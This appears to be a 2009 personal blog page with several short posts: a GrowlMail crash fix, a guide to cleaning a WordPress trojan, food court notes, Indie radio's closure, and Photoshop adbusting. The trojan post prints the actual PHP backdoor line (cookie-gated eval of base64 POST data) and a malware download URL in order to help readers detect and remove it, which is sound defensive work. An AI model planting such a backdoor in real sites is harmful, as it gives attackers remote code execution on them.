GrowlMail and Safari 4

Written by Jason Cosper. Posted on February 25, 2009. Filed under Geekery. 2 Comments.

While I’m really happy with the Safari 4 beta, I was a little dismayed to find that Mail.app started dying shortly after the update. The system’s complaint was that GrowlMail was causing a problem that made Mail.app become hella unstable.

So what was their suggestion?  Turn GrowlMail off until there was an update for it.  And that’s all well and good for most people — but since I hide my dock and am expected to pay at least a little bit of attention to my mail client at work, I’d rather not wait around for a fix.

Fortunately, the Growl forums came up with a solution that requires only cutting and pasting a simple line into Terminal.app:

defaults write com.apple.mail GMSummaryMode -int 2

This can also be achieved by setting GrowlMail to display summaries instead of message excerpts.  If Mail.app keeps crashing on you tho, it’s a little hard to do that.

So if you need a fix, now you’ve got one.

Goodbye Horses

Written by Jason Cosper. Posted on February 11, 2009. Filed under Geekery, Weblogging, WordPress, Work. Comments Off.

So I’ve been helping a few folks out with a Trojan that has been cropping up in a handful of WordPress installs as of late. Currently, it has been getting noticed by the good little girls and boys on Windows with virus scanners installed.  When visiting an infected site, most folks are being prompted to download: 

http://gvatemal.biz/pfd/spl/pdf.pdf

Don’t go there tho! The virus scanners identify the contents of that URL as JS:Packed-L, a packed JavaScript exploit.

So how do you find out if your install has been hit?  Well, the ones I’ve been cleaning up all have the following bit of code right at the top of their main index.php: 

<?php if(md5($_COOKIE['0bdcf3981272c15a'])=="23c8932280dcafe25c20c6d25c9c8660"){ eval(base64_decode($_POST['file'])); exit; } ?>

If you see that floating around, get rid of it!  Once you’ve done that, clear out your site’s cache — if you’re using a caching plugin, that is — and you should be good to go.

Should you not find that bit of code hanging around in your install’s index.php and there are people still complaining about it, I suggest getting shell access — so long as your web host is awesome and gives you that — and doing a recursive grep. At DreamHost, this is as easy as logging in and running:

grep -R 0bdcf3981272c15a /home/user/example.com/*

Of course you’ll want to replace “user” with your username and “example.com” with the domain — or folder if you broke from standard naming conventions — where WordPress is installed.  Give that command a few minutes to run and you should get a path of where that code snippet can be found.  All you have to do at that point is purge it and clear any cache you might have on your WP install.

Of course, if you managed to get hit with this, it was because there was a hole in your WordPress install. Making sure your core install and plugins are up to date is always a great idea. I check mine daily — but even doing it once a week is better than most folks.

All I’m saying is that you have to stay militant. Doing so will seriously prevent the headaches of having to deal with fixing this crap on a regular basis.

Underground Eats

Written by Jason Cosper. Posted on January 21, 2009. Filed under Food, Lists, Los Angeles. Comments Off.

File under “things I didn’t know about 505 Flower before tonight”:

  • Despite almost everything else in the complex dropping their shutters after lunch, Saffron stays open until 9 PM.  So now I have an option other than Subway, Carl’s Jr., Famima, The Standard or Casey’s.  Even better is the fact that it’s Indian food.  Which I love.  So yay for Saffron!
  • Speaking of Famima, they’ve got a huge one hiding down there.  And it’s stocked better than the one off 6th and Grand.  Their refrigerator case had a pile of extra spicy tuna rolls, the steamer was loaded with bao and the shelves were brimming with a bunch of exotic Pocky.  Until the one right across the street from our building opens up, this totally is my new go-to Famima.

You might think I’m easily swayed, but both of these things (along with the fact that Weiland serves Craftsman) have pretty much redeemed that bomb shelter of a food court for me.

Bye Bye, Indie

Written by Jason Cosper. Posted on January 15, 2009. Filed under Los Angeles, Music. 2 Comments.

Indie Logo

A little more than five years after it fired up with a rather curious DJ-free playlist, Indie’s going off the airwaves in LA. And while I’ll miss being able to tune-in while driving around, I’m happy that they’re going to try to keep things going online.

If I ever miss it enough while rolling thru my hood, at least I can load up Tuner on the iPhone and patch it into my car stereo. The quality may suffer a bit, but at least the reception will be a little bit better… ;)

Update: Variety has a fantastic obit that does more than just regurgitate the closing statement plastered across the front page. If you listened to the station for even a few minutes, it’s worth a read.

Update: According to an interview with Mr. Shovel over at The Daily Swarm the announcement running on the radio after every song is a little disingenuous:

None of the primary DJs or music programmers at the station are involved in the website and it’s not being run by people who ran the station – there may be one person from the station. My concern is that people are confused. They are running an ad on the air saying we couldn’t play the corporate radio game anymore and that we didn’t want to change our format to be more mainstream and that we decided to play music on the web. But the guy making the announcement is the head of sales! God love him, he’s a good guy, but the staff of Indie had no control in the decision to shut down the station. I guess they had some success with the web and want to keep it going. But I don’t want the listeners to be confused.

I listened to the web stream for a good portion of yesterday and they were still playing tracks from Check One…Two artists with pre-recorded bits from Mr. Shovel.  That just seems a little off to me.

Photoshoppery in the Real World

Written by Jason Cosper. Posted on January 13, 2009. Filed under Advertisements, Art, Geekery. Comments Off.

Photoshop

Pretty much every celebrity photo — save for the unflattering ones on gossip sites — is so heavily touched up nowadays that this bit of adbusting from Germany is freaking genius as far as I’m concerned.  And I don’t know about you, but all the detail that they put into this (like the layer list) really makes me wish that I’d see stuff like this pop up in the US more often.